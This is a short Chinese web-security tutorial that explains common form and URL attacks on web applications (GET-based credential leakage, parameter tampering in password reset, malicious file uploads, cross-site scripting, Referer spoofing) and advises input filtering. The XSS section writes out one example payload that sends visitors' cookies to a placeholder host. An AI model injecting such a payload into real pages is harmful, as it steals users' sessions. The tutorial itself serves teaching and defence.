網(wǎng)站建設(shè)知識(shí)
website knowledge
有時(shí)候程序員為了偷懶或者是在無意識(shí)的情況下缺少了對(duì)外部數(shù)據(jù)的過濾,Web安全習(xí)慣上將所有用戶輸入的數(shù)據(jù)假定為受污染的數(shù)據(jù)(即可能帶有攻擊性的數(shù)據(jù)),現(xiàn)在比較流行的XSS(跨站腳本攻擊)就是利用對(duì)用戶輸入過濾不完全而進(jìn)行的攻擊,因?yàn)橛脩魯?shù)據(jù)過濾不完全會(huì)導(dǎo)致很多很多問題,我這里只是簡單的介紹幾種比較常見的表單及URL攻擊方式,希望讀者能夠更大限度的注意過濾用戶輸入。
1)表單數(shù)據(jù)泄漏攻擊
這個(gè)一般剛?cè)胄械娜丝赡軙?huì)犯錯(cuò),說得通俗一點(diǎn),就是該用POST方式提交數(shù)據(jù)的時(shí)候,用了GET方式提交數(shù)據(jù),比如,用戶登錄時(shí)候用了GET方法,導(dǎo)致用戶名和密碼都在URL上直接顯示出來了,當(dāng)然假如真的傻到這種程度,這種應(yīng)用大多還是屬于自己玩玩的東西,不是產(chǎn)品。還有一種是登錄等操作,在提交數(shù)據(jù)的時(shí)候被竊聽或者攔截了,這種沒有很好的方式去解決,更多就是利用可以在瀏覽器上執(zhí)行的腳本,比如JavaScript對(duì)密碼和用戶加密后提交到服務(wù)器,而且更好采用不可逆的公共算法,在瀏覽器端執(zhí)行的腳本如果使用自己的算法,會(huì)增加被破解的幾率,當(dāng)然如果你的加密程度能超過或者接近現(xiàn)在流行的公共加密算法,那么也是可以的:)
2)語義URL攻擊
這也是利用提交的形式及參數(shù)進(jìn)行攻擊的,假如使用GET方式找回密碼,url為:http://example.org/private.php?user=abc&email=abc‘11.org,那么產(chǎn)生的攻擊也很簡單,只要將user=abc改成任意其他的存在的用戶密碼就會(huì)發(fā)到后面的email中,輕松獲取別人密碼,POST方式大體也是通過竊聽方式獲得提交的數(shù)據(jù)
3)文件上傳攻擊
文件上傳造成的危害在表單攻擊中是更大的,假如成功入侵,更壞的情況甚至是可以干任何想干的事情,因此對(duì)此不可小覷。常見的有大文件攻擊,假如你的服務(wù)端沒有做限制的話,那么你的硬盤很快就會(huì)被塞滿,或者是你在客戶端中只是簡單的限制了一下,那些對(duì)于心懷不軌者都是擺設(shè),太容易繞開了。假如上傳的是一個(gè)可執(zhí)行的腳本,在某種情況下會(huì)激活這個(gè)腳本,那么后果就不堪設(shè)想,驗(yàn)證上傳文件的后綴和限制上傳文件的種類是能避免大多數(shù)低級(jí)別的攻擊者,但根本還是讓存放用戶上傳的文件的目錄沒有執(zhí)行權(quán)限,腳本不能執(zhí)行,那么它也僅僅是一般文本而已。
4)跨站腳本攻擊
跨站腳本攻擊是眾所周知的攻擊方式之一。所有平臺(tái)上的Web應(yīng)用都深受其擾,PHP應(yīng)用也不例外。
所有有輸入的應(yīng)用都面臨著風(fēng)險(xiǎn)。Webmail,論壇,留言本,甚至是Blog。事實(shí)上,大多數(shù)Web應(yīng)用提供輸入是出于更吸引人氣的目的,但同時(shí)這也會(huì)把自己置于危險(xiǎn)之中。如果輸入沒有正確地進(jìn)行過濾和轉(zhuǎn)義,跨站腳本漏洞就產(chǎn)生了。
比如在一個(gè)博客平臺(tái)提供商,一個(gè)心懷不軌的用戶在寫博客時(shí)故意在內(nèi)容中插入<script> document.location = 'http://abc.example.org/steal.php?cookies=' + document.cookie</script>,結(jié)果所有瀏覽這篇文章的讀者的Cookie信息都在不知情的情況下發(fā)給了第三方。
5)HTTP請(qǐng)求欺騙攻擊
所謂上有政策下有對(duì)策,很多項(xiàng)目為了更大程度的得到高可信度的用戶輸入,甚至添加了判斷referer的功能,可惜這個(gè)東西十分的不靠譜,隨便一個(gè)CURL就可以欺騙過去。
畢竟所有的傳輸都只是個(gè)協(xié)議而已,而HTTP協(xié)議本身只是負(fù)責(zé)傳輸,并不負(fù)責(zé)諸如安全之類的其他問題,所以過程怎么偽造都是可以的,只要攻擊者足夠的熟悉HTTP協(xié)議,針對(duì)HTTP協(xié)議本身的攻擊,似乎目前還沒有看到,雖然欺騙、攻擊隨處可見,方式變化多樣,只要做好了過濾,多想一點(diǎn)再多想一點(diǎn),任何攻擊得到的都是一個(gè)錯(cuò)誤頁面而已